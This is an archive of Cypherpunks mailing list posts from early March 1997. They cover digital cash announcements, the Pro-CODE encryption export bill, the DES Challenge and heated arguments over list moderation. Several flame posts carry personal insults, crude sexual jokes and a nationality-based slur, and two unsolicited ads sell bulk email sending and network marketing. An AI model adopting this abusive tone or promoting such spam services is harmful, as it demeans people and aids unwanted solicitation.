From rah at shipwright.com  Sat Mar  1 03:24:57 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 1 Mar 1997 03:24:57 -0800 (PST)
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97
Message-ID: <v0302091faf3c99728896@[139.167.130.246]>



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel at intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 25 Feb 1997 16:53:28 +0000
From: Rachel Willmer <rachel at intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97



	Digital Money Online

	Intertrader Ltd
	February 1997

Intertrader is pleased to announce the release of this 50 page report,
which compares several current and future digital money technologies, such
as Mondex, Cybercash and First Virtual.

Available online at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/dmo.htm>

or you can download a PDF copy at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/order.htm>

All comments welcome!

Regards
Rachel

P.S. This report supersedes the previous "Electronic Transaction Protocols".


--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel at intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"

---------- The e$ lists are brought to you by:
Intertrader Ltd - Commerce Solutions in the UK Visit  for details ...
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk
Like e$? Help pay for it!  See  Or, for e$/e$pam sponsorship, see
Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo  (Majordomo)^2:
Rachel Willmer Commermeister: Anthony Templer  Interturge: Rodney Thayer



--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From dlv at bwalk.dm.com  Sat Mar  1 05:24:28 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:24:28 -0800 (PST)
Subject: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317BA5D.665@sk.sympatico.ca>
Message-ID: <oZ1V3D102w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> Igor Chudov @ home wrote:
> >
> > Toto wrote:
> > >   Who is the janitor at the Japenese embassy in New York City?
> > >   What is the postal code of Mule Shoe, Texas?
> > >   Who is buried in Grant's Tomb?
> >
> > Grant?
>
>   One out of three gets you a green card, Igor. Look up the postal code
> for Muleshoe, Texas, and you get a citizenship card.
>   If you can name the janitor at the Japanese embassy, however, you'll
> probably be indicted for espionage.

It's unnatural to be a U.S. citizen because most people aren't.

I used to walk my dogs by Grant's tomb.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar  1 05:30:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:30:14 -0800 (PST)
Subject: NWLibs> Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <199703010506.VAA09691@mail.pacifier.com>
Message-ID: <Hm3V3D107w165w@bwalk.dm.com>


jim bell <jimbell at pacifier.com> writes:
> >Objective journalism, my lily white butt.

Journalists are whores - just ask Declan "Censorship" McCullough.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar  1 05:30:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:30:16 -0800 (PST)
Subject: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <wk3V3D106w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

> Toto you and Vulis need to go to talk sex pervert and stay out of this
> list.

Is that why Graham-John called me on the phone the other day? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar  1 05:31:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:31:50 -0800 (PST)
Subject: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317FAD6.6BCC@sk.sympatico.ca>
Message-ID: <so3V3D108w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> Graham-John Bullers wrote:
> >
> > Toto you and Vulis need to go to talk sex pervert and stay out of this
> > list.
>
>   I visited your "Hack Crack and Preak" page, and I'm sure that you are

Does it have my Usenet cancelbot and my spambot? I guess the spambot's
still not finished, but I'm working on it...

> indeed a real 'Preak', not just another phony who claims to be a
> 'Preak'.
> I had an East Indian friend who thought most everyone was a real
> 'Preak'.
>   Speaking of which, I noticed that you had a pointer to "The Official
> Cypherpunks Home Page."
>
>   Thanks for the pointer, I certainly found it enlightening. Up until
> now, I didn't realize that Sammeer was the head CypherPunk, and the
> official host of our homepage.
>   It certainly makes me feel foolish for disputing his right to have his
> employees control the CypherPunks list and throw my posts in the
> garbage.
>   Silly me.

Is that why C2Net's "Anonymizer" doesn't anonymize?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From whgiii at amaranth.com  Sat Mar  1 05:50:41 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 1 Mar 1997 05:50:41 -0800 (PST)
Subject: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <199703010755.HAA13260@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.A41.3.95.970301000417.15342E-100000 at freenet.edmonton.ab.ca>, on
03/01/97 at 12:07 AM,
   Graham-John Bullers <real at freenet.edmonton.ab.ca> said:

>On Fri, 28 Feb 1997, Toto wrote:

>> Dr.Dimitri Vulis KOTM wrote:
>> > 
>> > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
>> > condoms in the U.S. and the Nixon administration made sure that each one was
>> > stamped "medium".
>> 
>>   Does any condom over 6" fall under the category, 'Munitions'?
>> -- 
>> Toto
>> -----------------------------
>> "The Xenix Chainsaw Massacre"
>> http://bureau42.base.org/public/xenix/xenbody.html
>> 


>Toto you and Vulis need to go to talk sex pervert and stay out of this
>list.


Call 911 someone has stolen your sense of humor.

I can just picture some neanderthal jack-booted washington bureaucrat thinking that the above would be good psychological warfare.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMxg0KI9Co1n+aLhhAQGgSAP/bwaWeXFZALp+TEHdYNfGRM+Jb65xVcz7
VtLlVT4PmJv+cwBixRLRNtM+696pzfOXlEOP5Ed3Cd07wzIniLr2TuQ3QDvhwqKp
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From newsctr at infoseek.com  Sat Mar  1 09:27:15 1997
From: newsctr at infoseek.com (Infoseek News Center)
Date: Sat, 1 Mar 1997 09:27:15 -0800 (PST)
Subject: Your News from Infoseek for Saturday, March 1, 1997
Message-ID: <199731153719.HAC3443857230639@infoseek.com>


Hello abba,
   
Here are your personal news headlines from Infoseek for
Saturday, March 1, 1997.
   
To read the latest news or search for these articles, visit the
Infoseek News Center at: http://yournews.infoseek.com
To view previous headlines, click the "See Older News" button.
   
Technology News    http://yournews.infoseek.com/mtechnology
 Fri 10:00   Lawmakers Seek Free Export of Encryption


   
These headlines are provided by Reuters, Business Wire, and
PR Newswire.
   
**********************************************************************
   
To change your Infoseek News Center profile, go to
http://yournews.infoseek.com/ and click "Personalize."
   
To stop receiving personalized news e-mail from Infoseek, either:
   * Go to http://yournews.infoseek.com/page?pg=pro_reg.html
     and change your "news delivery option"; or
   * Reply via e-mail to this message, and put the word
     "cancel" in your reply's "subject" line; or
   * E-mail newsctr at infoseek.com, and put the word "cancel"
     in your message's "subject" line.
   
Send comments or suggestions to: comments-news at infoseek.com
      






From dlv at bwalk.dm.com  Sat Mar  1 15:30:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 15:30:07 -0800 (PST)
Subject: "Suspected of purchasing diesel fuel"
In-Reply-To: <3.0.32.19970301100620.006bc290@pop.netaddress.com>
Message-ID: <imuw3D109w165w@bwalk.dm.com>


Casey Iverson <iverson at usa.net> writes:

> At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >I recall that when I was becoming a naturalized amcit circa 1986, I was aske
> >a single question: name the 2 senators of New York State. These were D'Amato
> >and Moynihan back then, and they still are.  I've heard of cases when the IN
> >didn't want someone to pass the exam, and they asked much harder questions
> >which some people actually flunked.
> >
> Biggest mistake the INS ever made was to allow a piece of Russian dung like
> *you* into the USA

Vladimir Il'yich Lenin said: the capitalists will sell us the ropes
on which we will hang them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar  1 19:20:05 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 19:20:05 -0800 (PST)
Subject: Russian Invasion
In-Reply-To: <3318B279.679F@sk.sympatico.ca>
Message-ID: <wqyw3D111w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> Casey Iverson wrote:
> >
> > At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> > >I recall that when I was becoming a naturalized amcit circa 1986, I was as
> > >a single question: name the 2 senators of New York State. These were D'Ama
> > >and Moynihan back then, and they still are.  I've heard of cases when the
> > >didn't want someone to pass the exam, and they asked much harder questions
> > >which some people actually flunked.
> > >
>
> > Biggest mistake the INS ever made was to allow a piece of Russian dung like
> > *you* into the USA
>
>   It's a trick. A post-Reaganite desk jockey in Washington figured out
> that we could save millions of dollars in missle fuel by luring the
> Russians to the U.S. and 'then' nuking them.
>   Now, if we could only get them to all visit Congress at the same
> time...

You have reached the Central Intelligence Agency Web site - running
StrongHold.  All of our agents are busy right now.  Your session is
important to us. Please remain on the socket for the next available
operative.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From rah at shipwright.com  Sat Mar  1 22:48:27 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 1 Mar 1997 22:48:27 -0800 (PST)
Subject: Electronic Cash
Message-ID: <v03020907af3eced7fe70@[207.42.133.129]>



--- begin forwarded text


Date: Thu, 27 Feb 97 18:16:03 EST
From: weffross at counsel.com (Walter A Effross -- American Univ. - Washington )
To: rah at shipwright.com
Subject: Electronic Cash



 To:	rah at shipwright.com		Inet


     Robert, I thought that you and the members of your group
would be interested in this Symposium.  Please feel free to send
the information around to whatever listservs you think
appropriate.
					Thanks!
						Walter
                                        THE ELECTRONIC FUTURE OF
CASH - A SYMPOSIUM

     The Washington College of  Law  and the American University
Law Review are proud to announce a full-day Symposium on the
Electronic Future of Cash, to be held at the law school in
Washington, DC on Friday, April 18, 1997 in connection with the
publication of a special Symposium issue of the Law Review on this
topic.

      The first panel, "The Technology of Electronic Cash," will
include: Newsweek columnist Steven Levy; Cybercash General Counsel
Russ Stevenson; Peter Wayner, author of Digital Cash: Commerce on
the Internet; Gary Lorenz, General Manager of the Diebold Campus
Systems Division; and a representative (invited) of the National
Security Agency.  This panel will examine the operation of stored
value cards and encryption techniques and will include a
demonstration of a "cyberpayment" made online with digital cash.

     The second panel, "Commentary on the Regulation of Electronic
Cash," brings together the authors of articles in the Symposium
issue (provided, with additional materials, to all registrants) to
review and recommend regulatory efforts from the viewpoints of
academics, practitioners, bankers, and consumer advocates.
Panelists include: Professor Mark Budnitz, Georgia State
University College of Law; Richard Field, Chair of the Electronic
Commerce Payment Committee of the American Bar Association;
Professor Egon Guttman, Washington College of Law; Professor David
Oedel, Mercer University Law School; Simon Lelieveldt, Senior
Policy Advisor, Payment Systems Policy Department, De
Nederlandsche Bank (the Dutch Central Bank); and Brian Smith of
Mayer, Brown & Platt.

     Dr. David Chaum, the founder and president of DigiCash, has
been invited to give a luncheon address.

     The third panel, "The Perspectives of the Regulators,"
includes: Thomas Baxter, Jr., General Counsel of the Federal
Reserve Bank of New York; William Kroener, General Counsel of the
Federal Deposit Insurance Corporation; Michael Billsma, Acting
Director, Community and Consumer Law, Office of the Comptroller of
the Currency; Stephen Kroll, Legal Counsel, Financial Crimes
Enforcement Network (FinCEN), United States Treasury Department;
Scott Charney, Chief, Computer Crime and Intellectual Property
Section, Criminal Justice Division, Department of Justice; John
Lopez, Counsel, Subcommittee on Domestic and International
Monetary Policy; Paul Glenn, Special Counsel, Office of Thrift
Supervision; and Lucy Morris, Assistant Director for Credit
Practices, Federal Trade Commission.

     A reception will follow.

     Registration fees (including lunch) are: $150 for
preregistrants; $175 for registration at the door; $100 for
Washington College of Law alumni; $80 for judges, law clerks, and
government employees; and $40 for full-time academics.     Please
register early, as space may be limited.

      For a registration form and more information, please contact
Professor Walter Effross, the Symposium's organizer and panel
moderator, at  (202) 274-4017, see our Symposium
website at
http://www.wcl.american.edu/pub/journals/lawrev/electronic_cash/con
f.htm, or email:
futurecash at wcl.american.edu.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From bulkemail at espmail.net  Sat Mar  1 22:58:26 1997
From: bulkemail at espmail.net (Product Link)
Date: Sat, 1 Mar 1997 22:58:26 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199703020700.XAA19322@server.ardennet.com>




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

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to dictate our business life, we set up our own system to send out Bulk
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installing more T lines), but we currently have room on our system to send
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than ourselves.

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we'll do it at a really great price.  You can supply the list, or we'll
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us, and then only if we had already sent the list out once and taken off all
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a vehicle like it in history to allow anyone of any size and any budget to
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50,000			$275.00		$50.00

75,000			$400.00		$50.00

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case by case basis.  If  you wish to modem us a list, there may be a 
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bid on a case by case basis as with writing your marketing materials and 
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If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.






From toto at sk.sympatico.ca  Sun Mar  2 00:34:14 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 2 Mar 1997 00:34:14 -0800 (PST)
Subject: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <33195684.620C@sk.sympatico.ca>


Greg Broiles wrote:
> At 07:27 PM 2/28/97 -0800, Toto wrote:

> >  Only asinine, dip-shit numbskulls would be capable of making this
> >idiotic extrapolation.

> Please sketch out the details of this "extrapolation".

  Simple enough. 
  Snow stated:
"given that there are [many some a-few] messages being sent to this list
that
are sent by non-human entities (bots, auto-replies, bounces etc.) is
there
a way to avoid propigating them."
  Which Greg extrapolated to suggest:
"Will you count Raph's remailer statistics as "machine generated" and
exclude them, too?"
  Which I suppose could be taken to yet another level of extrapolation
by asking the question,
"Will you count cc:'d messages as 'machine generated' and exclude them,
too?"
  After which it could be further extrapolated to ask,
"Will you count posts composed on computers as being 'machine generated'
and exclude them, too?"

  Greg, in his typical muddying of the waters, tries to twist the
thoughts
of others around to the extent that, if one followed Greg's logic to its
conclusion, one might believe snow is of the opinion that the "Welcome
to Cypherpunks" message should be deleted because it is auto-generated.
  If this is, indeed, the case, then I would expect snow would explain 
his reasons for thinking thusly.
 
> You cannot talk about spam (using the "inappropriate or off-topic message"
> definition, not the "posted too many times" definition) without talking
> about content.

  Once again, you are self-servingly using the C2nsorship definition of
spam, which is not common to any of the anti-spam forums that I follow.

  Of course content must be taken into consideration, even in the case
of auto-generated messages.
  Auto-generated messages, such as remailer information, can be on-topic
for the list. As far as I am concerned, posts by list subscribers cannot
possibly be off-topic, since it is up to the subscribers to decide what
they consider to be a suitable topic for the list.

> You are also talking about censorship based on content, but you don't seem
> to want to admit it.

  Another misrepresentation on your part.
  All moderation/censorship is based on content. I have always 
maintained, however, that a rational person is capable of looking
at the content, source, and destinations of a post and determining
if it is shotgun-spawned crapola and/or a mailbombing or denial
of service attack.

> >  Anyone who read my post to Igor, suggesting that I would have no
> >problem
> >with him intercepting autobot-replies that result from mailbomb attacks,
> >also knows that I suggested even the empty spam-messages being deleted
> >should be stored where they are open to scrutiny, and that I, for one,
> >would indeed be scrutinizing them.
> 
> Boy, this sounds like a really familiar system .. can't quite remember
> where I've seen it used before ..

  Well, you certainly didn't see it on the CypherPunks list. What was 
seen there was a fascist takeover of the list by a dictator who
relegated
posts he and his employer personally disliked to the flames list.

> There was some guy named Toto who wrote
> to me a few weeks ago,

  Try including specific quotes, Greg, even if they are out-of-context.
 
> >> I don't see anything morally wrong with deliberately altering the flow of
> >> messages to and through the list, but I think it's bad form to pretend not
> >> to be doing that.
> >
> >  Who is doing this, Greg? Name names. Give us an example of who is
> >doing this and pretending not to do it. Why are your claims so vague?
> 
> Because I'm interested in talking about ideas, not people.

  Not just because you were blowing smoke?

> I realize this
> may come as something of a surprise, but there are some circumstances where
> simply calling someone an "idiot" or a "liar" or saying that they've got
> their employers' sperm in their mouth is not a meaningful substitute for
> explaining why you think they're wrong.

  Never let it be said that I am one to let bad taste (pardon the pun)
stand
in the way of a cheap shot.
  And I do explain why I think you are not only wrong, but purposely 
attempting to misrepresent the stances taken by others.

  I will reiterate that I am of the belief that there should always be
a completely unmoderated, uncensored CypherPunks list, and that
additional,
filtered lists, should be merely a conjunction to that list, in the 
interests of spreading information regarding strong crypto in the
widest possible manner.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From abarber at vgernet.net  Sun Mar  2 07:37:35 1997
From: abarber at vgernet.net (Andy Barber)
Date: Sun, 2 Mar 1997 07:37:35 -0800 (PST)
Subject: Try It Before You Buy It!
Message-ID: <199703021536.KAA17331@vger.vgernet.net>


 Imagine this: A network program that lets you:
   
              TRY IT BEFORE YOU BUY IT!
  
    This is unlike ANYTHING you have seen before.
    Like joining a network marketing program in
    reverse! You get to try it out, w/ no obligation,
    see if it works, and THEN decide if you want to
    participate in the actual money-making end of it!

  Best of all,  it COSTS YOU NOTHING!!!  It's totally free.
  Visit our Web-Site at:
  
 http://www.crt-enterprises.com/downline.htm   register FREE

 You have NOTHING to lose, and possibly EVERYTHING
  to gain!

Email abarber at vgernet.net, Put "FREE" in subject.

 Thank you 









From rah at shipwright.com  Sun Mar  2 08:09:08 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 2 Mar 1997 08:09:08 -0800 (PST)
Subject: New Product in beta: SecurText
Message-ID: <v0302091faf3f4afaddce@[139.167.130.246]>



--- begin forwarded text


Date: Sat, 1 Mar 97 02:12:26 -0500
From: <softpub%toolz.UUCP at vec.net>
To: Softlist at vec.net
Subject: New Product in beta: SecurText

[Software Entrepreneur's Mailing List]
[p1198: Sat Mar  1 02:12:17 1997]
>From: "Wormhole Technologies, Inc." <Erik at wormhole-net.com>

We have been developing SecurText for over a year now and we finally have a
beta.  SecurText is an anti-hacker, anti-virus, e-mail enhanced network
product.  It is a versatile, elegant, easy-to-use alternative to PGP.  It
runs on Windows 3.1, 3.11, and Win 95.

Our commercial release will be fully S/MIME compliant, have built-in e-mail
functionality for totally seamless sending and receiving of secure messages
and attachments, and protect against viruses.

Check out our free beta at http://www.wormhole-net.com.  Note that, due to
export controls on encryption, this version does not give you military
strength encryption so do not use for actual privacy or security.  For the
actual, military strength version you must send me your name, US mailing
address, plus $3.50 for s/h, and I will send it to you.

Send to:
Wormhole Technologies, Inc.
(softpub member)
6 Ash Avenue
West Orange, NJ 07052

By the way, I would really like this beta circulated as much as possible
and to get as much feedback as possible.  Kindly provide me with an e-mail
address when you download and I'll send you a short questionnaire (just 6
questions).

Thanks.
---------------------------
Very truly yours,
ERIK P. WEINGOLD, President/CEO
Erik at wormhole-net.com

Wormhole Technologies, Inc.<tm>
keeping the net free with cryptography<tm>
http://www.wormhole-net.com


-- Send Software Entrepreneur's Mailing List postings to:
--   softpub at toolz.com
-- Send mailing list add/change/delete/gripes to:
--   softpub-request at toolz.com

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From jya at pipeline.com  Sun Mar  2 09:53:42 1997
From: jya at pipeline.com (John Young)
Date: Sun, 2 Mar 1997 09:53:42 -0800 (PST)
Subject: Pro-CODE Bill
Message-ID: <1.5.4.32.19970302174655.00703910@pop.pipeline.com>


We've put the new Senate Pro-CODE encryption bill
announced by VTR here last week at:

   http://jya.com/s377.htm  (23K)






From toto at sk.sympatico.ca  Sun Mar  2 17:24:17 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 2 Mar 1997 17:24:17 -0800 (PST)
Subject: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <331A422E.5BC5@sk.sympatico.ca>


Dale Thorn wrote:

[snip--left nut]
>  it would be nice
> to try to draw more of a connection between the ideas and ideals and
> the reality of the list, otherwise, we'll all wind up looking like
> hypocrites.  

  If I post missives misinterpreting your own words and intentions, then
you may no doubt be seen as a hypocrite to the gullible, or to those who
choose to limit their world view by reading my posts and killfiling
yours. In either case, I don't think this is a reason for you to lose
a lot of sleep.

> I personally don't see anything wrong with limiting
> postings to subscribers, as long as subscriptions are open to all.
> I also don't see anything wrong with warning a poster about commercial
> messages, or other technical problems such as attaching really huge
> files to go to the list, since all uncensored forums do this and
> everyone I know of agrees with it.

  To have this option seemed to me to be an area of common agreement 
among CypherPunks list subscribers at the time of the 'Laker's fans 
named Bubba' mailboming of the list via forged subscriptions to a 
sports forum.
  The attempts to label, as hypocrites, those who thereafter complained
about the fascist measures taken by self-appointed list saviors, are
nothing more than anal-retentive smoke blowing.

  I have an efficient ISP provider and can, for a reasonable price, not
worry about excessive download time, etc.
  The real-world reality is that there are those for whom paying to 
download the results of mailbomb attacks constitutes a denial of service
to them. There are undoubtedly also others whose financial and personal
time constraints may make a filtered version of the list attractive to
them, and thus lead to them retaining their interest in crypto issues,
instead of losing interest.
  I have not seen any of the anti-censorship elements in the CypherPunks
suggest that there should not be alternatives available for those whose
personal needs and/or interests are better served by various methods of
filtering. To attempt to force UCE/Spam on those ill-equipped to deal 
with it serves no purpose other than to lessen the number of people who
will have information in regard to the issues surrounding strong crypto.

> The "problem" here (if there is one) is determining SPAM and the like
> on a case-by-case basis.  Suggestions have been floated here, but as
> far as I know, none have been implemented.

  Igor has implemented spam-attack measures, and has been
straightforward
in both revealing these measures and asking for opinions in regard to
his actions and proposals.
  I do not anticipate Igor resorting to furtive methodologies in self-
servingly manipulating posts but, at the same time, I monitor what is
going on in the background of the various lists. I regard 'trust' as 
something that should be undertaken with one's eyes open, just the
same.

>  The real test, of course,
> is when deletions do occur, whether there are any complaints, and
> how those complaints are handled. 

  Thankfully, the CypherPunks list will likely never lack for paranoid
subscribers to raise warning flags whenever nefarious activities take
place in regard to the list (or when the computer 'burps', either).
  It is up to the individual subscriber to separate the realities from
the delusions. (I myself count on the space aliens to provide me with
advice and support from the messages I receive from them when the 
Scotch I drink shorts out the spaces between the mercury fillings in
my teeth. You may have a different method.)
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Sun Mar  2 17:57:35 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 2 Mar 1997 17:57:35 -0800 (PST)
Subject: Pro-CODE Crypto Bill
In-Reply-To: <3.0.1.32.19970302111625.0314f5c0@mail.teleport.com>
Message-ID: <331A4CB4.6206@sk.sympatico.ca>


Alan Olsen wrote: 
> At 12:47 PM 3/2/97 -0500, John Young wrote:
> >We've put the new Senate Pro-CODE encryption bill at:
> >   http://jya.com/s377.htm  (23K)

> There is an interesting addition to the bill that I have not seen discussed
> here yet.  The pro-code bill has added an "Information Security Board".  This
> provision worries me.  It sound like a nice little rubber hose committee.
> ("The House Committee on Unamerican Encryption"?)

> Any opinions on this new development?

  As long as Senator Charlie McCarthy is heading the committee, then I
can't foresee any problems.
  (But, for the record, I do not know Alan Olsen, and have never been
associated with him personally, or member of any group with which he is
associated.)

  Excuse me, I hear a pounding on the door... 
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From EALLENSMITH at ocelot.Rutgers.EDU  Sun Mar  2 19:08:25 1997
From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith)
Date: Sun, 2 Mar 1997 19:08:25 -0800 (PST)
Subject: Pro-CODE Bill
Message-ID: <01IG1JJZ4MCG8Y5BPD@mbcl.rutgers.edu>


	Upon looking over the bill in question
(helpfully provided in a more accessible location
by jya), I do have some concerns over whether it
allows for anonymous remailer export - it has a
provision stating

Nothing in this Act may be construed to affect any law intended to prevent the-

(2) illegal or unauthorized distribution or release of classified, confidential, or
	proprietary information; or

(3) enforcement of Federal or State criminal law.

Which causes some question in my mind whether it
would cover laws against or discouraging anonymous
remailers. (While the Supreme Court would probably
find outlawing anonymous remailers to be unconstitutional,
laws discouraging their export or other lesser forms of
harrassment might still pass muster, unfortunately.)
	-Allen





From toto at sk.sympatico.ca  Sun Mar  2 19:18:14 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 2 Mar 1997 19:18:14 -0800 (PST)
Subject: DES Challenge / Who'da Thunk It?
Message-ID: <331A5F88.1CD4@sk.sympatico.ca>


It seems that all of the efforts to meet the DES Challenge are being
sabotaged on one level or another.
The des-challenge at muffin.org group have never been able to fly on more
than one wing. The New Media Laboratories effort has been plagued by
rogue clients and its participants being subjected to varieties of 
interference/trojan-horses. Peter Trei's software has been appearing
on international servers, with bugs which don't match those in the
original source code. Pointers to BryDES software have turned out to
be misdirected, in many cases.

  I suspect that if the 'New Coke' had hired RSA's people, that we would
all be drinking their 'imitation Pepsi' product, instead of 'Classic 
Coke', as God intended us to do.
  Crayola had the foresight to call upon RSA's expertise, and, as a
result, the wool was pulled over the public's eyes and they came to
accept the 'new' colors, even though they are part of the 'plot'
against the Visual Illuminatti.

  Perhaps these new revelations will lead to people taking my posts to
this list more seriously in the future.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From EALLENSMITH at ocelot.Rutgers.EDU  Sun Mar  2 20:00:25 1997
From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith)
Date: Sun, 2 Mar 1997 20:00:25 -0800 (PST)
Subject: Pro-CODE Bill
Message-ID: <01IG1LER3AIU8Y5BPD@mbcl.rutgers.edu>


The following provision also causes me some doubts about
exactly what will be allowed for export:

(B) Exception.--The Secretary shall prohibit the
        export or reexport of particular
        software and computer hardware described in
        this subsection to an identified individual or
	organization in a specific foreign country if the
	Secretary determines that there is substantial
	evidence that such software and computer
	hardware will be--

(iv) intentionally used to evade
	enforcement of United States law or
	taxation by the United States or by
	any State or local government.

which could be construed to cover anonymous remailers,
fully anonymous digital cash, anything set up to verify
gambling fairness, and various other things of interest
to Cypherpunks (including the use of PGP by, say, a drug
"kingpin"). Admittedly, the "identified individual
or organization in a specific foreign country" will
help in limiting this application.
	-Allen





From toto at sk.sympatico.ca  Sun Mar  2 23:25:53 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 2 Mar 1997 23:25:53 -0800 (PST)
Subject: Depends / Re: Senate spams
In-Reply-To: <199703030651.AAA01558@smoke.suba.com>
Message-ID: <331A7D73.5CEA@sk.sympatico.ca>


snow wrote:

>         I think that any reasonable person could assume that missives f
> from "mailer-daemon" could safely be excluded from the list. It is doubtful
> that anyone out there has such a login, and if they do, well, it is stupid
> enough that ignoring it would be doing them a favor (After a while they
> _might_ get the idea that no one with a clue SENDS mail  "mailer-deamon",
> and change their login.

  I'd like to see a show of hands to see how many list members have 
received any posts from nancy.net/sally.net/conentric.net that they
didn't personally delete without reading.
  These people don't seem to realize that the CypherPunks aren't 
interested in finding out how to "Make Big $$$ At Home, Licking Your
Own Dick", because we do it anyway, without any expectations other 
than our own, personal reward.

  I do find snow's post rather embarassing, however, since I just sent 
an email asking mailer-daemon to marry me.
  It's bad enough being rejected, but being auto-rejected really cuts
to the bone.
-- 
Toto
